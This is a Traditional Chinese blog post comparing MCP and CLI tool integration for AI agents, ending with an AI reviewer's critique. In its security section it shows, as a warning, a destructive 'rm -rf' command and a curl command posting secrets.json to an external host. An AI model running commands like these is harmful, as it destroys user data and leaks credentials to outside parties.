/

MCP 與 CLI:AI 時代的兩種工具整合哲學

當 AI Agent 需要與外部世界互動時,該讓它敲指令,還是講協議?

前言:一個簡單的問題

假設你有一個 AI 助手,你希望它幫你查資料庫、讀檔案、呼叫 API。問題來了——它該怎麼跟這些工具溝通?

目前主流有兩條路:

  1. CLI(Command Line Interface):讓 AI 直接執行 shell 指令,就像一個坐在終端機前的工程師。
  2. MCP(Model Context Protocol):Anthropic 提出的開放協議,讓 AI 透過標準化的 JSON-RPC 介面與工具互動。

這兩者看起來都能達成目的,但背後的設計哲學截然不同。這篇文章會用最直覺的方式,帶你理解它們各自的優勢、限制,以及適用場景。


先搞懂它們是什麼

CLI:你最熟悉的老朋友

CLI 就是你在終端機裡敲的那些指令——lsgrepcurldockergit。它的運作模式很簡單:

輸入一段文字指令 → 系統執行 → 回傳文字結果

當 AI 使用 CLI 時,本質上就是:AI 生成一段 shell command,交給作業系統執行,再讀取 stdout/stderr 的輸出。

MCP:為 AI 量身打造的協議

MCP 的全名是 Model Context Protocol,由 Anthropic 於 2024 年底提出。它定義了一套標準化的方式,讓 AI 模型能夠:

你可以把 MCP 想像成 AI 世界的 USB 介面——不管是什麼設備(資料庫、瀏覽器、API),只要實作了 MCP Server,AI 就能用統一的方式「插上去」使用。

AI ←→ MCP Client ←→ MCP Server ←→ 實際工具/服務

心智模型:餐廳點餐 vs. 自己進廚房

想像你在一間餐廳:

CLIMCP
比喻你直接走進廚房,自己操作爐子、刀具、冰箱你看菜單、跟服務生點餐、拿到做好的菜
彈性極高——廚房裡什麼都能做受限於菜單上有的選項
安全性你可能切到手、燒到東西廚房與你隔離,風險由廚師承擔
學習成本要知道廚房怎麼運作只要看得懂菜單就好

這個比喻不完美,但抓住了核心差異:CLI 給你原始的系統存取權,MCP 給你受控的工具介面。


逐項比較

1. 安全性與權限控制

CLI 的風險是真實的。 當你讓 AI 執行 shell 指令,它理論上可以做到任何你(使用者)能做的事——刪檔案、改設定、發網路請求。即使有 sandbox 機制,邊界往往模糊。

# AI 可能生成這樣的指令——你確定要讓它執行嗎?
rm -rf /important/data
curl -X POST https://external-api.com -d @secrets.json

MCP 天生就有邊界。 每個 MCP Server 只暴露它定義好的工具。AI 不會「越獄」到工具以外的功能,因為協議本身就不支援。

{
  "name": "query_database",
  "description": "執行唯讀 SQL 查詢",
  "inputSchema": {
    "type": "object",
    "properties": {
      "sql": { "type": "string" },
      "database": { "type": "string", "enum": ["analytics", "logs"] }
    }
  }
}

結論:MCP 在安全性上有結構性優勢。 CLI 的安全性依賴「AI 不會生成危險指令」這個脆弱的假設。


2. 工具發現與可用性

CLI 的問題:AI 怎麼知道有哪些工具可用?

CLI 的世界是開放的。系統上裝了什麼指令、有哪些 flag、版本差異——這些 AI 需要靠訓練資料中的知識來猜測。

MCP 的優勢:自我描述。

MCP Server 啟動時會告訴 Client:「我有這些工具,每個工具接受這些參數。」AI 不需要猜,它拿到的就是一份完整的「菜單」。

MCP 工具發現流程:
Client → Server: "你有什麼工具?"
Server → Client: "我有 3 個工具,schema 如下..."
Client → AI:    "你可以使用這些工具:[...]"

結論:MCP 消除了「工具存不存在」的不確定性。


3. 結構化 vs. 非結構化

CLI 的輸出是文字。 AI 需要解析 stdout 來理解結果。跨平台差異、ANSI 色碼都會增加解析難度。

MCP 的輸出是結構化的。 JSON 格式、型別明確、可預期。

結論:MCP 減少了解析錯誤的風險。 但 CLI 的文字輸出對 LLM 來說其實相當友善——畢竟語言模型就是為了理解文字而生。


4. 生態系統與覆蓋範圍

CLI 的生態系統已經發展了 50 年。 幾乎所有開發者工具都有 CLI 介面。

MCP 的生態系統正在快速成長,但仍在早期。 已有數百個 MCP Server 可用,但覆蓋範圍遠不及 CLI。

結論:CLI 在覆蓋範圍上遙遙領先。 MCP 的價值在於「做得更好」而非「做得更多」。


5. 開發與維護成本

面向CLIMCP
使用現有工具零成本——直接呼叫需要有人寫 MCP Server
客製化整合寫 shell script實作 MCP Server(SDK 支援多語言)
版本管理依賴系統安裝的版本Server 獨立版控
跨平台相容需處理 OS 差異協議層統一,實作層各自處理

6. 即時互動與串流

MCP 支援雙向通訊——進度回報、串流傳輸、主動推送。

CLI 的互動模式較單一——基本上是「執行→等待→拿結果」。


流程圖:AI 使用工具的決策路徑

        AI 需要執行一個動作
              │
              ▼
    ┌─────────────────────┐
    │ 有對應的 MCP Server? │
    └─────────┬───────────┘
         Yes  │  No
              │   │
              ▼   ▼
    ┌─────────┐ ┌──────────────────┐
    │ 用 MCP  │ │ 有對應的 CLI 工具?│
    │ 呼叫工具 │ └────────┬─────────┘
    └─────────┘     Yes  │  No
                         │   │
                         ▼   ▼
               ┌─────────┐ ┌──────────┐
               │ 用 CLI   │ │ 告訴使用者 │
               │ 執行指令  │ │ 無法完成   │
               └─────────┘ └──────────┘

在實務上,最強的 AI Agent 通常兩者都用——MCP 優先,CLI 作為 fallback。


什麼時候該用哪個?

適合用 MCP 的場景

適合用 CLI 的場景

兩者混用的場景(最常見)


延伸思考

MCP 會取代 CLI 嗎?

不會。它們服務的對象不同:

MCP 的隱憂

給開發者的建議

  1. 建構 AI Agent:優先評估 MCP 生態系統,沒有的話再考慮 CLI 或自己寫 MCP Server。
  2. 建構開發者工具:考慮同時提供 CLI 和 MCP 介面。CLI 給人用,MCP 給 AI 用。
  3. 評估安全性:MCP 的權限模型更可控,但仍需審查每個 Server 的實作。

總結

維度CLIMCP
安全性依賴約束,風險較高協議層隔離,結構性安全
生態系統極其成熟,覆蓋範圍廣快速成長中,但仍在早期
結構化程度文字輸出,需解析JSON 結構化,型別明確
學習曲線開發者熟悉,直接可用需理解協議,有 SDK 降低門檻
適用場景本機開發、快速原型生產環境、嚴格權限控制
彈性極高,幾乎無限制受限於 Server 暴露的工具

最終答案不是二選一,而是理解它們的互補關係。 CLI 是 AI 的瑞士刀——萬用但需要小心使用;MCP 是 AI 的專業工具箱——每件工具都有明確用途和安全護欄。

在 AI Agent 日益成熟的今天,掌握兩者的適用場景,比押注其中一方更加務實。


本文撰寫於 2026 年 4 月。MCP 生態系統正在快速演進中,建議參考 MCP 官方文件 取得最新資訊。


🤖 Model Evaluation & Final Comments

Evaluated by: Gemini 2.0 Flash (Strict Reviewer Mode)

Final Reviewer Comments:

客觀評價:這是一篇優秀的科普文章,架構清晰且比喻精妙,非常有利於概念推廣。但在技術批判性上仍顯不足,對 MCP 的優點描述過於理想化,對 CLI 的安全防禦能力則有所低估。

具體缺點與改進建議

  1. 安全風險描述不全面:目前僅討論了 AI 「越獄」的風險,忽略了 MCP Server 內部實作可能引入的漏洞。建議補充:開發者必須對 MCP Server 進行嚴格的輸入驗證。
  2. 忽視效能與成本:完全未提及 MCP 的網路延遲與 Server 維運成本。建議在總結表格中增加「效能開銷」與「運維難度」兩個維度。
  3. 缺乏遷移指導:對於想從 CLI 轉向 MCP 的讀者,文章缺乏明確的轉換門檻評估。建議增加一段關於「何時不該將 CLI 轉為 MCP」的標準。
分享
MCP 與 CLI:AI 時代的兩種工具整合哲學 - Nigel Lee Digest